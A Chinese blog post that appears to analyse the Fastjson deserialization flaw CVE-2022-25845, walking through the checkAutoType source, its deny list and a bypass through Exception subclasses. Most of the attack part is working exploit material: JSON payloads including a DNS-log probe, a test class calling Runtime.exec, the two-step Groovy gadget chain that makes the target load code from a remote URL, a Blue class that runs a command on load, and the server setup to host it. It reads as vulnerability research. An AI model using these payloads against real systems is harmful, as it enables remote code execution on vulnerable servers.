首页 前端知识 Fastjson漏洞之CVE-2022-25845

Fastjson漏洞之CVE-2022-25845

2024-08-15 22:08:16 前端知识 前端哥 759 379 我要收藏

前言:

针对Fastjson之前已经介绍了,这里就不再重复了,漏洞CVE-2017-18349只能用来攻击>=1.2.24版本的,CVE-2022-25845属于CVE-2017-18349的升级版,但是目前仅影响到1.2.83以下版本。CVE-2022-25845本质上是绕过了名单限制,下面我们来了解下该漏洞。

代码分析:

针对CVE-2017-18349的防御是添加了checkAutoType方法进行防御,下面我们先看看该代码:

com.alibaba.fastjson.parser.ParserConfig.checkAutoType

代码如下:

    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        } else {
            String className = typeName.replace('$', '.');
            if (this.autoTypeSupport || expectClass != null) {
                int i;
                String deny;
                for(i = 0; i < this.acceptList.length; ++i) {
                    deny = this.acceptList[i];
                    if (className.startsWith(deny)) {
                        return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }
                }

                for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }

            if (clazz != null) {
                if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (this.autoTypeSupport || expectClass != null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }

                if (clazz != null) {
                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                }

                if (!this.autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

 其中有两个地方进行了防御:

首先第一处是设置了黑名单,如果反射的class位于黑名单中会直接异常:

设置的黑名单如下:

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

当位于黑名单中,无论autoTypeSupport是否为true都会返回异常

第二处就是针对autoTypeSupport的校验,当其为false的时候,会直接返回异常

 所以说要是想要执行,必须能够进入到return clazz代码,下面我们逐个分析下哪个有可能:

 这里可以看到有两处会返回clazz 

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
clazz = this.deserializers.findClass(typeName);

针对第一处我们看看什么情况下会返回clazz

可以看到如下方法可以被返回

复制出来共有86个如下:

mappings = {ConcurrentHashMap@6710}  size = 86
 "java.awt.Color" -> {Class@7347} "class java.awt.Color"
 "[char" -> {Class@351} "class [C"
 "java.lang.IllegalStateException" -> {Class@4775} "class java.lang.IllegalStateException"
 "java.lang.IndexOutOfBoundsException" -> {Class@6946} "class java.lang.IndexOutOfBoundsException"
 "java.sql.Time" -> {Class@6842} "class java.sql.Time"
 "java.lang.NoSuchMethodException" -> {Class@700} "class java.lang.NoSuchMethodException"
 "java.util.Collections$EmptyMap" -> {Class@222} "class java.util.Collections$EmptyMap"
 "java.util.Date" -> {Class@1172} "class java.util.Date"
 "java.awt.Point" -> {Class@7356} "class java.awt.Point"
 "[boolean" -> {Class@352} "class [Z"
 "float" -> {Class@6689} "float"
 "java.lang.AutoCloseable" -> {Class@289} "interface java.lang.AutoCloseable"
 "java.lang.NullPointerException" -> {Class@264} "class java.lang.NullPointerException"
 "java.lang.NoSuchFieldError" -> {Class@699} "class java.lang.NoSuchFieldError"
 "java.lang.NoSuchFieldException" -> {Class@3987} "class java.lang.NoSuchFieldException"
 "java.util.concurrent.atomic.AtomicInteger" -> {Class@187} "class java.util.concurrent.atomic.AtomicInteger"
 "java.util.Locale" -> {Class@40} "class java.util.Locale"
 "java.lang.InstantiationException" -> {Class@6986} "class java.lang.InstantiationException"
 "java.lang.InternalError" -> {Class@354} "class java.lang.InternalError"
 "java.lang.SecurityException" -> {Class@1609} "class java.lang.SecurityException"
 "[int" -> {Class@346} "class [I"
 "[double" -> {Class@349} "class [D"
 "java.lang.Cloneable" -> {Class@335} "interface java.lang.Cloneable"
 "java.lang.IllegalAccessException" -> {Class@6961} "class java.lang.IllegalAccessException"
 "java.util.IdentityHashMap" -> {Class@380} "class java.util.IdentityHashMap"
 "java.lang.LinkageError" -> {Class@325} "class java.lang.LinkageError"
 "byte" -> {Class@7375} "byte"
 "double" -> {Class@7377} "double"
 "java.awt.Font" -> {Class@7379} "class java.awt.Font"
 "java.sql.Timestamp" -> {Class@7050} "class java.sql.Timestamp"
 "java.util.concurrent.ConcurrentHashMap" -> {Class@36} "class java.util.concurrent.ConcurrentHashMap"
 "java.lang.StringIndexOutOfBoundsException" -> {Class@7130} "class java.lang.StringIndexOutOfBoundsException"
 "java.util.UUID" -> {Class@6682} "class java.util.UUID"
 "java.lang.Exception" -> {Class@330} "class java.lang.Exception"
 "java.lang.IllegalAccessError" -> {Class@6803} "class java.lang.IllegalAccessError"
 "com.alibaba.fastjson.JSONObject" -> {Class@6429} "class com.alibaba.fastjson.JSONObject"
 "java.awt.Rectangle" -> {Class@7387} "class java.awt.Rectangle"
 "java.lang.StackOverflowError" -> {Class@320} "class java.lang.StackOverflowError"
 "[B" -> {Class@348} "class [B"
 "java.lang.TypeNotPresentException" -> {Class@6858} "class java.lang.TypeNotPresentException"
 "[C" -> {Class@351} "class [C"
 "[D" -> {Class@349} "class [D"
 "java.text.SimpleDateFormat" -> {Class@1131} "class java.text.SimpleDateFormat"
 "java.util.HashMap" -> {Class@206} "class java.util.HashMap"
 "[F" -> {Class@350} "class [F"
 "long" -> {Class@6675} "long"
 "[I" -> {Class@346} "class [I"
 "java.util.TreeSet" -> {Class@584} "class java.util.TreeSet"
 "[short" -> {Class@347} "class [S"
 "[J" -> {Class@345} "class [J"
 "java.lang.VerifyError" -> {Class@6941} "class java.lang.VerifyError"
 "java.util.LinkedHashMap" -> {Class@95} "class java.util.LinkedHashMap"
 "java.util.HashSet" -> {Class@365} "class java.util.HashSet"
 "java.lang.IllegalMonitorStateException" -> {Class@319} "class java.lang.IllegalMonitorStateException"
 "[byte" -> {Class@348} "class [B"
 "java.util.Calendar" -> {Class@1145} "class java.util.Calendar"
 "[S" -> {Class@347} "class [S"
 "java.lang.StackTraceElement" -> {Class@1523} "class java.lang.StackTraceElement"
 "java.lang.NoClassDefFoundError" -> {Class@1654} "class java.lang.NoClassDefFoundError"
 "java.util.Hashtable" -> {Class@304} "class java.util.Hashtable"
 "java.util.WeakHashMap" -> {Class@180} "class java.util.WeakHashMap"
 "java.util.LinkedHashSet" -> {Class@915} "class java.util.LinkedHashSet"
 "[Z" -> {Class@352} "class [Z"
 "java.lang.NegativeArraySizeException" -> {Class@6891} "class java.lang.NegativeArraySizeException"
 "java.lang.IllegalThreadStateException" -> {Class@7103} "class java.lang.IllegalThreadStateException"
 "[long" -> {Class@345} "class [J"
 "java.lang.NoSuchMethodError" -> {Class@210} "class java.lang.NoSuchMethodError"
 "java.lang.NumberFormatException" -> {Class@4340} "class java.lang.NumberFormatException"
 "java.lang.RuntimeException" -> {Class@329} "class java.lang.RuntimeException"
 "java.lang.IllegalArgumentException" -> {Class@64} "class java.lang.IllegalArgumentException"
 "int" -> {Class@7422} "int"
 "java.sql.Date" -> {Class@7066} "class java.sql.Date"
 "java.util.concurrent.TimeUnit" -> {Class@1262} "class java.util.concurrent.TimeUnit"
 "java.util.concurrent.atomic.AtomicLong" -> {Class@103} "class java.util.concurrent.atomic.AtomicLong"
 "java.util.concurrent.ConcurrentSkipListMap" -> {Class@4650} "class java.util.concurrent.ConcurrentSkipListMap"
 "boolean" -> {Class@6694} "boolean"
 "java.util.concurrent.ConcurrentSkipListSet" -> {Class@4647} "class java.util.concurrent.ConcurrentSkipListSet"
 "java.util.TreeMap" -> {Class@163} "class java.util.TreeMap"
 "java.lang.InstantiationError" -> {Class@6840} "class java.lang.InstantiationError"
 "java.lang.InterruptedException" -> {Class@230} "class java.lang.InterruptedException"
 "[float" -> {Class@350} "class [F"
 "char" -> {Class@7434} "char"
 "short" -> {Class@6691} "short"
 "java.lang.Object" -> {Class@344} "class java.lang.Object"
 "java.util.BitSet" -> {Class@18} "class java.util.BitSet"
 "java.lang.OutOfMemoryError" -> {Class@321} "class java.lang.OutOfMemoryError"

第二处 deserializers可以看到有如下方法:

具体有很多类型,这里就不进行罗列;

然后第二处如下,这里是获取用户设置的白名单

 第三处如下,第三处想被调用需要满足checkAutoType的第二个参数不能为空或者autoTypeSupport为true

最后一处就是autoTypeSupport为true的情况下,当不满足上面任意一个选项的时候会进行调用。

对上面四处分析可以发现正常情况下程序员不会把autoTypeSupport设置为false,但是利用前两个我们可以绕过autoTypeSupport的校验,但是要想反射我们指定的方法,则还是需要配合第三处,通过继承指定的方法完成,下面我们分别进行测试下:

首先我们测试第二个,我们发现如下方法位于名单中,那我们测试使用该方法可否绕过

java.net.InetSocketAddress

发送如下poc

{"name":{
   "@type":"java.net.InetSocketAddress",
    "val":"0u3967.dnslog.cn"
 },
 "age":30
}

执行后发现成功返回java.net.InetSocketAddress,并最后进入到return clazz中被反射,进而绕过了autoTypeSupport

 下面同样的我们测试第一处,使用名单中的java.lang.Exception,同样绕过了autoTypeSupport限制

知道了怎么绕过autoTypeSupport,但是我们只能调用反射名单中的类,这样没办法利用,打个DNSLOG也没什么意思,这个时候就要配合利用第三处加载两次我们的反射类即可,这里着重先看下关键的几个地方:

代码位于如下:

com.alibaba.fastjson.parser.DefaultJSONParser.parseObject

进入getDeserializer方法需要注意,这里我们知道利用的是java.lang.Exception,所以我们这里就基于这个进行讲解,由于第一次调用内部列表中没有java.lang.Exception,所以会先调用下面的getDeserializer方法将java.lang.Exception和对应的继承类型放入列表中,后面调用就可以直接返回该方法和继承类:

最后添加的 java.lang.Exception和对应的处理方法到列表中:

最后通过获取上面的列表得到具体的处理方法:

然后会进入class com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer中处理:

重点来了,再 ThrowableDeserializer的deserialze处理方法中获取到第二个@type内容并作为参数调用了checkAutoType方法,这样我们就可以调用我们自己的方法,但是这里有一个需要注意,就是我们调用的方法也要继承Throwable:

这里我们可以尝试调用一个其他的方法 

执行后发现其最后调用class com.alibaba.fastjson.serializer.MiscCodec,但是其中的deserialze方法并没有调用checkAutoType,因此只有特定的方法可以:

对源码查看发现具体的不同类的处理方法位于如下列表代码中:

com.alibaba.fastjson.parser.deserializer

 查找共发现四处可以调用checkAutoType:

JavaBeanDeserializer:
userType = parser.getConfig().checkAutoType(typeName, expectClass, lexer.getFeatures());

AbstractDateDeserializer
Class<?> type = parser.getConfig().checkAutoType(typeName, (Class)null, lexer.getFeatures());

MapDeserializer:
clazz = config.checkAutoType(typeName, (Class)null, lexer.getFeatures());

ThrowableDeserializer
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());

再看看checkAutoType对参数的要求:

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features)

其中autoTypeSupport和jsonType我们没办法设置为true,所以expectClassFlag要求不能为空,则AbstractDateDeserializer和MapDeserializer无法利用,仅剩JavaBeanDeserializer和ThrowableDeserializer

下面就需要确定哪些方法可以最终调用到ThrowableDeserializer或者JavaBeanDeserializer,这里就需要关注

com.alibaba.fastjson.parser.ParserConfig的getDeserializer方法

可以看到当为Throwable或者不属于上述任何一个类型即可分别进入 ThrowableDeserializer或者JavaBeanDeserializer中,ThrowableDeserializer较为简单,直接以ThrowableDeserializer测试:

首先编写测试代码:

测试代码如下:

package org.example.controller;

import java.io.IOException;

public class mytest extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

代码中需要注意,需要继承 Exception ,不然无法通过类型检测,具体的检测后面会讲解:

攻击代码:

{
    "@type": "java.lang.InternalError",
    "@type": "org.example.controller.mytest",
    "name": "calc.exe"
}

进入checkAutoType中调用参数如下:

此处会对类型进行校验,如果不相同会报错,这就是为什么必须继承Exception

最后调用我们自己添加的类弹出计算器 

上述就是大致的利用思路,然后我们看看网上公布的利用链,进行分析

利用:

网上利用链如下,需要分两步:

{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
     "@type":"org.codehaus.groovy.control.CompilerConfiguration",
     "classpathList":"http://127.0.0.1:1111/"
    }
}

下面我们先代码大概分析下调用思路

首先需要知道我们真正想要利用的点为

org.codehaus.groovy.control.CompilationUnit方法为addPhaseOperations的ASTTransformationVisitor.addPhaseOperations(this);

进而实现加载远程代码,但是要如果设置上加载的远程地址和如何最终调用,攻击利用很巧妙,我们下面进行分析:

首先我们需要先利用Exception加载我们需要的类,我们先要找到一个继承了Exception的类,并且调用了我们需要加载的方法:

发现org.codehaus.groovy.control.CompilationFailedException符合我们的需求,其中需要调用我们需要加载的org.codehaus.groovy.control.ProcessingUnit

当发送了上述的poc,可以成功的将org.codehaus.groovy.control.CompilationFailedException和org.codehaus.groovy.control.ProcessingUnit加入到名单中,可以绕过校验。

 这样org.codehaus.groovy.control.ProcessingUnit就成功的绕过了检测,下面就可以发送第二个poc了,首先我们看看org.codehaus.groovy.tools.javac.JavaStubCompilationUnit类型:

可以看到 JavaStubCompilationUnit继承自ProcessingUnit,所以org.codehaus.groovy.tools.javac.JavaStubCompilationUnit也可以绕过检测被加载到名单中:

 查看其调用参数:

可以看到其第一个参数为 org.codehaus.groovy.control.CompilerConfiguratio,所以会调用到org.codehaus.groovy.control.CompilerConfiguration方法

 

这样我们就可以利用 CompilerConfiguration的setClasspathList方法来设置远程服务器地址了:

设置完地址后回回到JavaStubCompilationUnit方法,并调用如下代码:

super(config, (CodeSource)null, gcl);

这样就会调用到父类CompilationUnit方法:

然后又会调用父进程ProcessingUnit:

super(configuration, loader, (ErrorCollector)null);

setClassLoader中调用了GroovyClassLoader:

return new GroovyClassLoader(parent, this.getConfiguration());

此处将地址添加到了Groovy远程地址中:

添加完成后回到CompilationUnit方法中,然后就会调用到addPhaseOperations方法:

然后会调用addPhaseOperations中的ASTTransformationVisitor方法:

ASTTransformationVisitor.addPhaseOperations(this);

进入addGlobalTransformsAfterGrab代码可以看到此处加载远程META-INF/services/org.codehaus.groovy.transform.ASTTransformation代码:

Enumeration<URL> globalServices = transformLoader.getResources("META-INF/services/org.codehaus.groovy.transform.ASTTransformation");

 访问远程服务器文件:

读取文件内容获取classname为Blue: 

最后调用addPhaseOperationsForGlobalTransforms方法完成实列化:

利用:

利用需要先新建目录\META-INF\services\并新建文件org.codehaus.groovy.transform.ASTTransformation,其中添加我们要加载的类,这里按照POC走Blue

然后使用javac编译如下java代码为Blue.class

import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;

import java.io.IOException;

@GroovyASTTransformation
public class Blue implements ASTTransformation {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {
        
    }
}

 然后搭建服务器:

python -m http.server 8013

然后依次发送两个poc,可以成功执行我们远程代码:

 攻击链非常巧妙,其主要核心思想是利用Groovy 编译器加载远程代码,利用了java.lang.Exception过滤漏洞实现了对任意类的加载最终导致命令执行;

防御:

1.2.80后已经可以进行防御,看了下83的代码防御简单粗暴,针对Exception和Error进行了过滤,阻止了Exception的加载

总结: 

针对1.2.83以下的版本虽然1.2.24后虽然添加了checkAutoType检测,但是忽略了针对Exception和Error的过滤导致了使用该类可以通过Groovy实现远程方法加载,漏洞不复杂,但是利用Groovy实现远程类的加载还是很有意思,感兴趣的可以深挖下看看有没有其他调用链玩

转载请注明出处或者链接地址:https://www.qianduange.cn//article/15735.html
标签
评论
发布的文章

安装Nodejs后,npm无法使用

2024-11-30 11:11:38

大家推荐的文章
会员中心 联系我 留言建议 回顶部
复制成功!